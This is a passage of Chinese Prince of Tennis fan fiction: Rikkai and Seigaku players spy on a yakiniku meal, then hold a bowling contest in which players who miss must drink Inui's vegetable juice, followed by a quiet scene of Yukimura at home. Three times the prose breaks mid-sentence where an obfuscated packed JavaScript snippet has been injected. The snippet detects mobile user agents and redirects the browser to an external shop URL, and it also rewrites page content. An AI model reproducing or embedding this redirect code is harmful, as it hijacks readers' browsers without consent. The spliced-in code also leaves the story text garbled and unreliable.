店员在他们说话期间开始陆陆续续地上菜,腌制过的五花肉在烤网上发出滋滋的声音,油脂顺着烤网的铁丝缓缓滴落,丸井文太的声音逐渐变小了一些,眼睑在灯光下微微低垂,光线穿过睫毛,纵然看不清眼神,却可以让人想象到专心致志的模样。 “好香……这几片差不多了。” 文太熟练地夹起火候正好的烤肉,分了一半给大石,然后坐回去吃自己的那份,美食入口,他的脸上很快洋溢出愉快的表情。 “总之你放轻松点,支撑我们踏上赛场的是对自己实力的自信。别把精力放在内耗上,自我怀疑只会错失良机。与其现在被瞻前顾后的心态耽误心情,不如来畅想一下我们下周去尝试哪家好吃的店呢?是不是马上就觉得好期待好开心了?” 那份松弛感营造出的豁达气氛极具感染力,让人轻易便能感受到他性格里的乐观豁达,大石于是也忍不住笑了笑,轻轻说了声“是啊”,接过文太递来的料碟。 所以说,对社交技能早已满分的丸井文太来说,化解这点小情绪对他而言完全是小菜一碟,压根不需要他所不知晓的外援插手。 尽管他自己也不算非常年长,不过很多照料过年幼弟妹的人都清楚,当容易情绪化的对象感到焦躁不安,被忧惧侵袭的时候,最糟糕的表现,就是同样展露出焦虑的面貌。 聪明人会选择冷静地安抚对方,用自身的镇定来支援对方的内心,帮助对方平静下来,这才是正确的解决之道。 能做到这种程度就已经胜过了八成人,然而丸井文太之所以能在与人相处时展现出无往不利的魅力,更是因为他能在此基础上更进一步,将别人的心境引导到他所营造的乐观氛围中。 他总是这样不着痕迹地调节周围的气氛,心思细腻是他的天赋,积极开朗是他的性格底色。 没有人会不喜欢能让自己感到快乐的人。 也没有人能真正与他为敌。 不二周助收回目光。 “看起来应该不用我们担心了……”他笑着说,眉眼弯弯,表情非常温柔。 “嗯嗯!不二你也快吃啊!” 坐在他位置对面的菊丸英二早已把自己说要当约会保镖的承诺抛到天边,一手拿筷子夹着烤肉,一手端着料碟,津津有味地吃得十分快乐。 果然有人请客的烤肉吃起来就是爽啊。他无忧无虑地又下了一盘牛肋条。 “嗯……虽然大石他们看起来没什么关系了……” 不二周助轻轻偏了些视线,目光落在他们的斜对角,也就是大石秀一郎那一桌后方隔两桌的位置。 “不过那边看起来也挺热闹的。” “杰克学长,这牛背肉吃着真不错欸!今天这家店是来对了!” “赤也我说你啊……” “‘到底来这里是干什么的?’……我猜杰克你会这么说。” “呃、不愧是柳啊,居然和我想的一个字不差。” “嗯,而且你面前这块肉还有3秒就能达到最佳风味,是时候可以夹起来吃了。” “那我就笑纳了,puri。” “啊!仁王学长真卑鄙!剩下的肉都是我的!” “呵呵,我刚才可什么都没说。” “咦?仁王学长?等下?柳生学长?什么情况??” “喂赤也!你不要把没熟的肉也夹起来啊!还有不要拿调料刷子去蘸油!真是的,一口还没吃我的胃已经开始痛了……” 不二周助早就注意到了,差不多是在丸井文太走进店里落座的时候,这群人就跟在后方低调地分批走进店里。由于他们身上校服的制式相同,蓝白条纹的领带与胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098723|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口校徽的图案都跟丸井文太的一模一样,因此对方进店以后的选座、偷听和偷窥,以及从点菜开始逐渐闹腾失控的吵闹现场,全都被善于观察的不二周助尽收眼底。 直到那边不知道发生了什么意外,烤盘下突然冒起一股浓烟,切原赤也发出一声惊慌失措的大叫,为了多吃几口而装了半天耳聋的丸井文太终于忍不住发出一声长叹,站起身。 “我说你们——到底在搞什么?!”他双手叉腰,吩咐道,“杰克快撒点盐在烤网上面,把明火先盖掉。你们怎么不等炭火烧透就开始烤了啊。” 那自然是因为刚才太认真偷听你那边的动静,所以稀里糊涂就开吃了。 “文太,我阻止过他们了……” 除了杰克无奈且认命地依言照做,其他人则全都僵在原地,半晌没动。 “学弟,快狡辩。”仁王最先从僵硬中解冻,他反应极快,立刻祸水东引,用手肘捅了捅切原。 “丸井学长,你听我狡辩!”切原立刻大声说,“我们绝对不是怀疑你当间谍出卖网球部的情报,也不是柳生学长的侦探扮演欲忽然发作,更不是仁王学长撺掇柳学长一起来搜集丸井学长的行动数据!” 丸井文太:“……” 其他人:“……” 这小子莫非是大智若愚吗?一番话下来,把自己连同一众学长全都自曝了个底朝天。 一众人精似的学长们顿时无言以对,陷入怀疑人生的沉默。 “呜哇——那边真是热闹,都是立海的家伙吗?” 菊丸英二停下进食,兴致勃勃地扭过身,整个人趴在卡座的靠背上,抬手在额前搭了个凉棚,乐不可支地望了过去。 “嗯,应该是跟我们一样担心朋友吧。”不二周助说。 “不二你说得可真是客气……” 果然文艺人士的表达水平就是不一般啊。菊丸英二钦佩地心想。连跟踪队友瞧乐子这种事都能修饰得妥帖又得体,感觉跟不二待在一起的时候连我也变得更加高尚了呢。 正当菊丸沉浸在自己思绪里的时候,忽然发现在立海那桌有个闭着眼睛的清俊少年说过话之后,对面所有人竟然一同回头,视线纷纷落在自己这边。 “欸?什么?”他表情纯良地眨了眨眼睛,努力装成只是单纯被热闹吸引注意的无辜路人。 “据我观察,你们这一桌的视野比我们更优,而且平均每10分钟内看向丸井那桌的频率就有21.3次,全程刻意关注他们的概率高达97.42%。” 柳莲二一边淡淡地说,一边勾起唇角。 “没错吧,博士?这种适合收集数据的场合,你在场的概率为86.56%。” 于是立海与青学两桌人又循着柳莲二转脸的方向望去,只见隔着一条走道的另一侧,整列单人桌中间坐着一个低着头的榴莲头少年。 在众人注视下,他淡定地扶了扶鼻梁上的方框眼镜,默默抬起脸庞。 “不愧是教授,我们的思路完全一致。” 两人露出满意的表情相视一笑。 这种和比赛无关的场合到底有什么数据好收集的啊,你这个八卦数据男。 两边学校的其他人都没有说话,但大家暗自腹诽的念头却奇妙地出现了同频。 63.File 62 组合 “啊——啊——麦克风test OK。” 丸井文太手持话筒,装模作样地拍了拍掌根,待吸引了所有人的目光,他露出仿佛自带光芒的漂亮笑容,气势十足地抬高声调: “现在,就在这个保龄球馆,我们正式召开立海vs青学的关东大赛前哨战!” 此人作为立海网球部的著名社交悍匪,今日战绩不仅体现在他能在各方卧龙凤雏齐聚的场合八面玲珑地跟所有人打好交道,还在于他轻而易举就让才认识不久的球馆老板借给他一套音响设备,那份所到之处无往不利的外向天赋着实令人服气。 “喔——!!!” 丸井文太最宠爱的学弟切原赤也很给面子地当即举拳应和,眼神锋利地望向另一边,开口就是一句嘲讽力拉满的挑衅。 “哼哼,青学,你们都给我洗好脖子等死吧!” “可恶,臭小鬼口气别太大了!”菊丸英二在这种拱火放垃圾话的场合绝对是当仁不让的100%参团率,他立刻从椅子上跳起来,食指对准切原赤也的眉心,“大石,我们也要全力以赴,把他们打得满地找牙!” “好极了,看我把你通通击溃!”切原也不遑多让地起身。 “欸、欸——”大石目瞪口呆地瞧着两边眼神一阵刀光剑影,激烈得半空中好似都擦出电火花来,实在没想到事态能脱缰到这种万马奔腾的离谱境地。 “唉,怎么会变成这样……”另一边的杰克也捏了捏鼻梁,无力地道出了大石的心声。 大家在烤肉店聊起来后,最近对保龄球兴趣正上头的丸井文太便提议大家一起去球馆玩玩。有些人觉得无可无不可,饭后运动而已,也有些人说既然是游戏,不如来场学校PK,于是后来就变成了现在这个状况。 “呵呵……”丸井文太笑容满面地看着立马被炒热氛围的现场,兴致勃勃地说,“看来两边选手也都相当迫不及待啊,那么我也不辜负大家高涨的热情,事不宜迟,现在就要开始了!首先来介绍一下本届大赛的主持人组合,我们立海大附属中学就由本人——二年级的丸井文太负责担当!” “青春学园这边是由我不二周助负责主持工作。”在他身侧的栗发少年温和地说。 “听说你也很天才呢?”文太歪了歪头,眼睛轻轻眨了眨,“虽然时间有点短暂,但让我们今天友好合作吧,4946!” “嗯,请多指教。”不二周助同样微笑着捧场道。 两位主持人倒是气氛融洽,互相欣赏地相视一笑。 “这边和那边的温度真是天差地别呐。”仁王雅治翘着二郎腿斜倚在休息区的椅背上,单手托腮,视线懒洋洋地左右来回扫视着分别电闪雷鸣和春暖花开的两边,精准地给出一句犀利吐槽。 “然后让我来介绍立海的第一对组合——” 丸井文太动作浮夸地扬手,将所有人的视线引向他注目的方向。 “立志要成为No.1的我部一年级王牌切原赤也同学,以及最可靠的后援,二年级的杰克·桑原同学。能行吗?伙伴,要把赤也漏掉的瓶子全部解决掉哦。” “我、我吗?” 杰克指了指自己,黝黑的光头上肉眼可见地冒出了大量汗珠,“喂,文太,我以前可从来没打过保龄球啊。” 学弟自信心爆棚地拍着胸脯保证:“没关系的杰克学长,我15分钟内就能全胜通关!” “嗯,接下来由我介绍青学的黄金组合。” 不二周助从容地说,动作优雅地将摊开的手心微微一展,示意众人看向休息区的另一边座位,可爱如猫的红发少年骄傲地双手叉腰站在前方,身后是他稳重得多的搭档。 “以动作灵敏和出其不意为特色的二年级生,菊丸英二,以及同样二年级的大石秀一郎。呵呵,看起来大石你很熟悉这里,应该是资深者吧?” “没错没错,他的基本功非常扎实,特别是控球的精准度可不容小觑呢。” 还没等大石作答,丸井文太便很踊跃地接过话题,一通话把对方夸得不好意思地嘿嘿直笑,脸颊微红着挠起后脑勺,此时丸井文太却忽然眼神颇为不怀好意地一转。 “哎呀,该不会你的网球也是这种风格吧?”他眼梢微挑,状似极不经意地出言调侃。 不二滴水不漏地笑了笑:“文太君,仗着主持人的身份刺探情报可是不被允许的哦。” “哈哈,抱歉抱歉啦。” “下面我们立海出场的第二对组合可也不容小觑哦。” 丸井文太比出手枪的手势,指向立海那边垂眸低笑的银发少年,以及在他身侧默默扶了一下眼镜的紫发绅士,单眼瞄准,“biu”的一声,做出一个帅气的狙击动作。 “同为二年级,说出来的话一句都不能轻易相信的仁王雅治同学,以及永远风度翩翩的绅士柳生比吕士同学。千万别和那个家伙同流合污哦,比吕士。” “呵,我觉得这是误解呐。”仁王轻佻地把手臂搭在柳生肩上,“对吧?柳生,我们可是相性极佳的欺诈组合。” “仁王君!谁跟你是欺诈搭档了?这岂不是会让别人把我也当成你那种人啊。” “少装模作样了,其实你也很享受这种感觉吧?就是成为会被女生们抱怨的那种角色。像这样:哎呀,不正经的男生——” 这个人还促狭得很,甚至故意捏起嗓子模仿女声,连语调都再现得惟妙惟肖。 “怎么可能啊,仁王君!”柳生岂能坐视他崩坏自己的形象,连忙反驳。 两位学长的身后,先前才在烤肉店里被坑过一回学弟切原赤也正用充满怀疑的眼神默默看着他们打情骂俏,然后无语地抽了抽嘴角。 “他们看起来感情真好啊。” 不二周助笑眯眯地说出一句让许多人都头冒问号的感叹,然后看向青学这边。 “不过,我们青学的第二对组合也关系很好哦。一年级的海堂薰和桃城武,他们的毅力和胜负欲可都是非同凡响的。” “谁跟他关系好啊?!”可惜被不二如此评价的两名少年却异口同声地大声反驳。 他们一位头戴绿色头巾,眼神凶恶,另一位留着冲天的刺头,看起来十分健气阳光,是青学那位数据男乾贞治后来打电话喊来凑热闹的学弟。只不过,这二人看起来气场并不是非常相合,几句话的功夫就能面对面吵起来。 “喂?手冢吗?现在我们已经全员移动到Round 1的保龄球馆了,你要不要也……啊,又挂掉了。” 此刻乾贞治似乎仍在锲而不舍地打电话拉人,遗憾的是听起来他的话还没讲完,对方就已经用挂断的方式无言拒绝了。 “接着登场的是博士与教授组合!” 丸井文太将话筒的连接线一甩,双手食指对准两位看不见眼睛的数据狂少年,炫技地吹了声响亮的口哨。 “由青学二年级的乾贞治和立海二年级的柳莲二搭档。话说你们国中都还没毕业,取的称号口气倒是不小啊,中二病吗?”他吐槽起来也是很犀利。 “那个,但他们确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111875|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是中二这个年纪啊,也算是符合年龄吧。”好心的大石试图帮人挽尊。 “应该说,我和莲二是从小学的时候就已经这么互相称呼了。”乾贞治立刻拆台,作出了正确的说明。 “是3年6个月又12天前决定的叫法。” 柳莲二更加严谨地补充了精准的数据。 大石听得一阵汗颜。 “哈哈,看来我们两位数据男自小精神状态就很超前啊。”文太不着痕迹地用打趣的话捞了一把快下不来台的大石,然后笑着说,“既然各组人员都已经介绍完毕,我来说明保龄球比赛规则。很简单,一局10轮定胜负,每轮允许投2个球,根据击倒瓶数的总和记分,最后得分最高的小组获得优胜。” 不二说:“参赛比赛共有6组,青学两组,立海两组,混搭两组,分配也很均匀。” “但我们不是青学对立海的比赛吗?为什么乾学长和不二学长不在一个组呢?”青学那边的桃城很积极地提出疑问。 文太双手叉腰,笑了两声:“哼哼,这就要引入今日比赛的特别规则了。只比分数未免太单调了,一点也不刺激。为了防止有些笨手笨脚的家伙到后面开始划水,我们还有惩罚机制。不仅最后分数最低的组别必须接受惩罚,一旦有人在比赛中把球扔到边沟,或者投球后一瓶未中,那名选手也要接受惩罚,而且比赛途中无法通过挑战的选手将被直接淘汰。” 不二“嗯”了一声,补充道:“所以混搭组合一旦减员,将根据剩下选手的学校自动变更队伍归属。当然了,如果我们没有人被淘汰,还拿到了分数第一,那比赛就算和局了。” “就是说混搭队属于既需要合作得分,也存在内部竞争的关系啦。” 文太意味深长地说道,从不二身后绕了几步,将手臂搭在对方肩膀上,然后就像摆pose一样歪了歪头,在脸颊旁边比划了一个剪刀手。 “如何?很有趣的天才搭配吧?” 闻言,青学众人忽然鸦雀无声。 他们表情凝重地对望一眼,一种诡异的沉重气氛悄然蔓延。 “呃、你们说的挑战该不会是……”菊丸英二狠狠打了个寒颤,声音微微颤抖。 “什么?很简单啦。” 此时尚未意识到事态严重性的丸井文太还很开朗,示意大家一起看向数据二人组。 在乾贞治与柳莲二身边的桌上,有大量玻璃杯被垒成香槟塔的造型,杯子里都盛着各式各样的饮料。因为色彩缤纷,视觉效果颇为壮观。 “是青学的乾同学友情提供的蔬菜汁。如大家所见,看起来有很多口味呢。说不定会抽到呛口的辣椒,或者很多人不喜欢的青椒和秋葵之类的?对于从小不爱吃蔬菜的孩子来说可能会有些困难呢。” 文太可爱地眨眨眼睛。 “要是真有这么单纯就好了……”青学那边有人小声嘀咕。 不二微笑道:“是吗?我倒觉得还挺好喝的。” “喂喂,这算个什么挑战啊?丸井学长你也太小瞧我们了吧。这种东西根本不算什么,就算一次性来一百杯也没压力啊!”同样还没意识到事态严重性的切原赤也嚣张地发出宣言。 “嗯?”用手指勾着发尾绕圈的仁王雅治微微皱了皱眉头,“那些杯子里的液体是自然界该有的颜色吗?” “不用担心,我保证饮料100%由纯天然蔬菜萃取而成,对身体很有好处。”柳莲二淡然道。 仁王眯起眼睛:“真的吗?我怎么觉得反而更可疑了呐。” 64.File 63 乱斗 尽管立海这边存在零星质疑,但大部分人还是意气风发地自信登场。积极争先和不落人后的求胜精神已经融入到他们立海人的生存本能里,一旦踏上战场,心中便无迷惘。 变故发生于第一名“牺牲者”出现后。 戴着头巾的青学一年级在拿球的时候被与他同组的伙伴不慎撞了一下肩膀,保龄球咕噜噜地滚进边沟,他刚露出要吵架的生气表情,身后忽然笼罩下来一片深沉的黑影。 海堂内心一颤,僵硬地回过头,只见自家和善的学长露出标志性的和善微笑,举起手中的杯子。 “咚——!” 球馆里传出一声巨响,其他球道的选手都被吓了一跳,回头就发现了海堂昏迷在地,他的脸色隐隐发青,那痛苦的模样着实令人担忧。 “快叫救护车,他有可能突发急病!”出身医生世家的柳生立即说。 “不……那个……”大石尴尬掩面,“海堂他应该是因为那个蔬菜汁的味道太独特的缘故……” 立海其他人:“?” 他们的视线默默移到海堂手边的玻璃杯,里面浑浊的墨绿色液体已经几乎空了,只残留少许在杯壁,仔细一看,对方的口中也有些没喝下去的饮料从嘴角流了出来。 那是什么东西?味道独特?独特到能把人喝昏迷吗? 且不提那让人一看就汗毛直竖的饮用效果,没人想这么不体面地倒地不起好吗? 立海这边的空气也变得空前沉重。 “这是惩罚挑战吗?这不就等同于直接淘汰吗?” 切原赤也目瞪口呆,“咕咚”一声,他战战兢兢地咽了下口水。 仁王雅治单手托腮,嘲笑问:“赤也,你还要喝一百杯吗?” “不不不,仁王学长,那绝对会死人的吧!”学弟满脸惊慌,把头摇出残影。 柳莲二走到记分板前,将海堂薰的名字轻轻划去。 青学,脱落者一名。 “这不可能,食物是天赐的珍宝,怎么可能难吃到这种程度。” 忠实的美食爱好者丸井文太双手交叉在胸前,脸上写满了费解。他怀疑地斜睨了一眼已经在立海众人眼中化身魔域的蔬菜汁之塔。说起来,他对这种东西有一种似曾相识的感觉,好像过去见过……见过吗?为什么记忆忽然飘回去年的海原祭了? 不论如何,鉴于蔬菜汁的威力惊人,这场比赛俨然已经从学校的对抗之争转变为涉及生死存亡的大逃杀游戏。 不想喝那鬼东西,几乎所有人都开始认真对待这场比赛,脸上浮现出严肃的表情。 以性命为赌注,绝不能输! 球馆的休息区躺着阵亡人员和临时休息的选手,售卖饮料的自贩机旁有一面临街的窗户,外面已是华灯初上,天幕漆黑,车流编织成闪烁的光链,高楼之间灌满轻风,让夏夜在都市的街道间恣意遨游,而球馆里晃眼的灯光将场区照得恍如白昼,保龄球在漆面透亮的球道上流畅滑行,地面将持续不断的轻微震动传导到脚下,伴随着各组成员在交换选手时你来我往的唇枪舌战。 原先立海整体倾向于内敛自持的风格,当然这并非和平至上那么友好无害的天真理念,而是所有队员自觉与他们天下无双的主将统一步调,骨子里张牙舞爪的狂妄和傲气都藏在轻描淡写的微笑里,致力于通过纯粹而残酷的实力差距压倒对手,平时很少纠缠于口舌斗争。 而自从颇具混世魔王风采切原赤也加入,别的先不提,立海网球部的嘲讽力可谓直线上升。不过若是让那群天性自由奔放的学长说句心里话,其实还挺爽的。大家正值热血好胜的年纪,谁能不喜欢开朗地飙垃圾话呢?没见连纪律至上的真田都从没制止过他么?不阻止就代表默许,默许就代表可以为所欲为。乘胜追击也是他们立海人最具特色的一体两面嘛。 大概在第3轮的时候,一球以毫厘之差擦过球瓶,随后滚入后方的回球区。 “糟糕,一瓶都没打中……赤也,你倒是一球把瓶子全部击倒啊!在最边上留一个也太难解了!”杰克叹气。 切原挠头:“没办法啊杰克学长,我也是尽力了的。” 杰克还想说什么,一杯紫黑相间的神秘饮料猛地伸到他的面前。 “呃……”光头大汗淋漓。 “安心去吧,伙计。”文太同情地拍拍他的后背,“我会一生都记得你的。” 立海,脱落者一名。 “可恶,这种时候怎么能松懈啊,不能松懈啊。” 孤身奋战的桃城武拿着球自言自语地往前走,一个不慎踩中海堂被拖走时地面残留的蔬菜汁水渍,然后脚底一滑,保龄球在半空飞出一道完美的抛物线,就这么行云流水地步上海堂的后尘,可悲地滚进边沟。 桃城坐在地上愣住,然后肩膀被轻轻拍了拍。 “真遗憾啊,桃城。”不二温和地笑了笑,递上一杯血红饮料。 “啊——!!!” 青学,脱落者二名。 “piyo,青学有一组已经全军覆没了,真凄惨呐。” 仁王雅治惬意地翘着腿坐在休息区,保龄球对于自小接受绅士教育的柳生比吕士来说也是不在话下,连续几轮下来都是一球通杀,他偷懒得非常心安理得。 “这样下去我们立海可要拿下优胜了哦。”他微笑道。 “岂能让你如愿……” 满怀怨念的声音从仁王身后升起,伴随着森森阴气蜂拥而出,银发少年惊得肩膀狠狠一抖。 “糟糕,柳生……” “嗯?怎么了?” 听见仁王呼唤自己的柳生从助走道前回过头来,一抬眼就看见仿佛丧尸一般扭曲爬行的淘汰选手,眼镜顿时闪过一道白光,保龄球从他松开的掌心滑落,滚入边沟。 “喝吧,比吕士。”文太默默地递上一杯粉红色的饮料。 说实话,丸井文太很少会真心实意地佩服一个人,除了在他心中永远憧憬的幸村君以外,恐怕就是此刻了。 “不愧是绅士,就算是喝了这种东西,昏迷过去的样子也依旧优雅得无懈可击。” 立海,脱落者二名。 虽然两方脱队人数相同,但青学已经有一组彻底淘汰,他们的优势在于能够搭档协作,集中精力在每轮取得满分,但立海的优势却在于—— 菊丸英二的视线微微偏转,看向隔壁球道的切原赤也,不得不说这小子嘴欠是嘴欠,学习能力确实很强,而且孤身奋战以后,他的集中力不降反升,掷球的手法看似粗暴,却准头极佳,实在不容小觑。 大石看出他的忌惮,提醒说:“英二,不用在意他们。我们只要每轮都拿最高分,优胜就触手可得。” “我知道啦。” 话虽如此,还是忍不住在意啊。 菊丸又看向另一组的仁王,那个吊儿郎当的银发家伙仗着搭档总能一轮通杀,比赛开始后一直赖在休息区划水。菊丸原以为对方的保龄球水平很差才没上场,不料待柳生意外淘汰之后,仁王自己出手的得分居然也相差无几,竟然同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128006|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是深不可测的大高手一名。 从结果来看,减员对立海两组的影响微乎其微,剩下的切原和仁王都不是省油的灯。 在菊丸如此思考的时候,仁王仿佛察觉到了他的注视,微微将头向菊丸的方向偏了一些。菊丸心道不好,连忙装作无事发生地转身走去拿球,只不过还留了一丝眼角余光悄悄地睨向对方,但由于仁王偏长的银白发梢恰好将侧脸遮掩了许多,从菊丸的角度难以窥见他此刻的神情。 仁王忽然轻笑一声。 鉴于他这人向来恶趣味,刁钻古怪的小花招层出不穷,熟悉他的人一定会在此刻提起浑身戒备,不过菊丸英二作为好奇心旺盛的猫性子,遇到初见杀成功率几乎百分百的仁王雅治,基本等同于撞上克星。 “哇啊啊啊啊——!!!” 丸井文太听见菊丸英二的一声惊叫,转过头就看到对方惊慌失措地连续后退了好几步,手中的保龄球掉落在地以后滚入边沟,而被他目瞪口呆指着的仁王雅治则从容转身,抬手摘去了脸上的无脸人面具,绿眸微微眯起,唇边勾起狐狸般狡黠的弧度,那神气瞧起来得意极了。 哦豁,恶作剧专家的受害者出现了。文太忍不住幸灾乐祸。 “这太卑鄙了啊啊啊!”菊丸惊恐地看着乾默默地端着蔬菜汁逼近自己,悲愤大喊。 “呵呵,我只是站在这里而已,puri。” “英二——!!!”大石看着倒地不起的搭档,发出沉痛的呼喊。 青学,脱落者三名。 “哎呀,这下青学的命运就如风中残烛了啊。”丸井文太怜悯地摇了摇头,“仅凭大石一人根本没办法吧。” 眼下各组的积分差距相当小,几乎都是稍有失分就会被对手超越的局面,青学只剩一组,孤军奋战的人将会承受巨大的心理压力……他危险地眯了眯眼睛,瞄了一眼积分榜,忽然意识到当前占据榜首的其实是自己这组。 这让丸井文太的心思顿时活络起来。 团队赛中夺取胜利的方式有很多种,哪怕结果相同,队友取胜带来的成就感也显然不如自己亲手摘得优胜的桂冠。 虽然丸井文太属于立海当中善良值偏高的成员,但他在关键时刻一贯杀伐果断,从不心慈手软。 不如先在这里干脆利落地把不二做掉,将队伍转变为立海阵营。 他垂下睫毛掩去眸底暗转的流光,轻轻按住手中的保龄球,刚将球拿了起来,就被另一双手捧了过去。 “你好像在想什么很危险的念头啊,文太君。”不二周助睁开眼睛,冰蓝眼眸静静注视着露出惊讶表情的丸井文太,温柔地微笑道。 青学的天才比他想象中的更加敏锐,看似温和无害,却将内秀藏于心中,锋芒内敛,不是个能被轻易算计的对象。 “哎呀,哪里哪里,我觉得我们应该都在想同一件事。”丸井文太轻盈地眨眨眼睛,他心理素质相当过人,分明在跃跃欲试着要干坏事,却一丝心虚都没流露出来,反而眼角眉梢都沾满了明媚活泼的笑意,携着玩味的语调说,“天才的计划,不是么?” 无论何时,无论如何,丸井文太总是那么擅长讨人喜欢,连不二周助也慢慢从眼底漫出笑意。 “这一轮由我开球,可以吗?”他问。 是打算反过来先将我一军吗?文太被挑起了兴致,扬起眉梢,望着不二抿唇一笑,他退后一小步让开位置,风度翩翩地展开手臂,摆出一个“请”的动作。 “好啊,那来吧。”他爽快道。 65.File 64 炫技 入夜以后,有风将悬挂在窗前的晴天娃娃吹得摇晃不止,月光透亮,将小小玩偶的影子延伸到地上,在幸村精市打开屋门的第一时间便落入他的眼中。 他忍不住弯眸一笑,晴天娃娃是妹妹前两天做手工的时候鼓捣出来的小小心意,送给马上就要参加关东决战的哥哥,许愿比赛当日能是个阳光灿烂的好天气,才好让她跟着妈妈一起去现场观战,上面还用绿色画笔细心勾勒出一条额带,面带笑容的表情是哥哥在她面前的温柔模样。 其实只是关东大赛而已,我们立海拿下优胜根本不在话下。 因为不仅我很强,而且我还拥有齐心协力、并肩作战的队友。 暑期没有太多琐事,幸村刚做过自主训练,沐浴后的湿发还微微滴水,渗到他搭在肩膀上的毛巾里,他轻轻仰头,眼帘微合,放松地在脑海中想象和模拟比赛。这样的做法有助于他在实战中洞察对手绝技的本质,冷静地择定回球方式,如今已经成为他日训之后的思考习惯。 许久之后,他将房间的窗户微微敞开一道缝隙,让晚风沿着窗台,携着庭院中绣球花的淡雅香气,在屋内流动。 书桌台面上摆着一盏造型雅致的台灯,黄铜在光下透出古典而厚重的金属质感,百褶玻璃灯罩虚挂在光源上方,多层面的设计完美消除了炫光,让透过晶亮切面的灯色柔和而明亮,均匀地映在幸村精市的头发和侧脸上,眼睫、鼻梁投下极为立体的阴影,勾勒出一道优雅清晰的少年轮廓。 幸村精市是站在立海网球部顶端的主将,他的球技也以压倒性的强大凌驾于所有人之上,他拥有超越真田弦一郎的雷霆威力、柳莲二的算无遗策、仁王雅治的明察秋毫、丸井文太的精准犀利、杰克·桑原的铜墙铁壁、切原赤也的高度集中、柳生比吕士的绝对冷静……那份超凡脱俗的完美资质俨然如同神明的至高杰作,经由他自身日夜不辍的砥砺琢磨,最终构成了如今常胜不败的立海部长。 他就是立海网球部的灵魂人物,彻底折服了那群天之骄子的绝对领袖。 幸村有每天将社团日志带回家的习惯,摊开这学期已经用到第三册的本子,笔尖在纸页上沙沙滑动,开始记录今日各位部员在训练中应该注意改进的事项,以及他个人提出的建议。 日志的前一页是昨天的内容,白天的时候被大家传阅过一遍。文太热情地在自己那段旁边写了丰富的感谢话语,还分享了自己今天中午吃的点心感想,把认为最好吃的一款推荐给幸村,因为没有随身携带名章,他就用圆圆的字迹把“丸井”两个字写在最后,画了一个圆圈起来。杰克也规规矩矩地写了多谢指教,照模照样地将名字首字母的“J”圈在最后。赤也把“了解”写成了“良解”,被柳用红笔更正,还规范地在修改的地方盖上了自己的名章,不愧是网球部和学生会两部门的书记。真田遒劲有力的字迹落在一旁,写着“太松懈了”,没有主语所以不好辨别他这句是自勉还是批评赤也啊,不过两种都很有趣。仁王留下了一句意义不明的“piyo”,幸村猜测他大概是想表达自己已经读过了吧…… 在幸村书写今天日志的时候,真田打了电话过来。他们在学校讨论过关东四强赛和决赛的出战安排,当时真田说他还想考虑一下,幸村看了一眼时间,暗忖此刻是对方练习过剑道以后,他的心应该已经完全沉静下来了吧,便很痛快地接受了真田的选择。 “还有一件事。”对方说。 “嗯,什么?” “关东大赛结束以后,我打算和柳一起帮赤也补习。我们预计需要一周时间,争取让赤也的补考一次通过。” “呵呵,柳的话我不意外,倒是你还真喜欢他呢。”幸村的声音里透着一丝调侃,随意说,“不过……可以啊,加油吧。” 按照原本的计划,为了备战全国大赛,网球部将在关东大赛以后开展全日制的强化训练。真田和柳要是去帮切原补习,练习时间势必会被补习占去,无法完全投入到网球了。 幸村始终执行着鼓励队员自立自强的管理方针,不过要是赤也的话,在真田和柳自愿提供帮助的前提下,他也不会强硬反对。那个孩子有值得栽培的天赋,要是能赶上全国大赛就最好了。 说起来,文太和弦一郎从开学就特别中意赤也呢。幸村想到这里,心中恍然浮起一点温暖的感叹。虽然还有些不成熟的地方,但那份追逐强大的专注和热忱,也能与幸村心中的某些东西发生共鸣,让自己觉得无法对其置之不顾。如此想来,他们也是暗暗欣赏着赤也的努力吧。 现在大家在做什么呢?一定也是以自己的方式在提升自己吧。 他轻轻闭眼,温柔地心道。 然后将镜头切换到东京的保龄球馆。 “哈哈哈哈,看我把你们这些杂碎通通击溃!” 立海网球部的未来——切原赤也同学发出一阵健康爽朗的笑声,在他仁王学长似笑非笑的关爱视线中暴力投球,结果因为手指不慎卡在保龄球的指洞里,连人带球一起被惯性带飞了出去,整个人如倒栽葱一般摔进边沟里。 “走好,puri。” “这一球成功的概率是……100%!” 在隔壁的球道,乾贞治信心满满地掷出他手中的球,保龄球在光滑的地面上一往直前,然后一路歪斜,最终以极其刁钻的角度击倒了最靠边的一个瓶子。 “这、这不符合理论!”数据男发出了不能接受事实的声音。 “可悲的贞治。”数据男二号柳莲二轻声说道,转身拿球,并以完美的姿态拿下全中,留下他的发小在原地百思不得其解,陷入自己的思考宇宙。 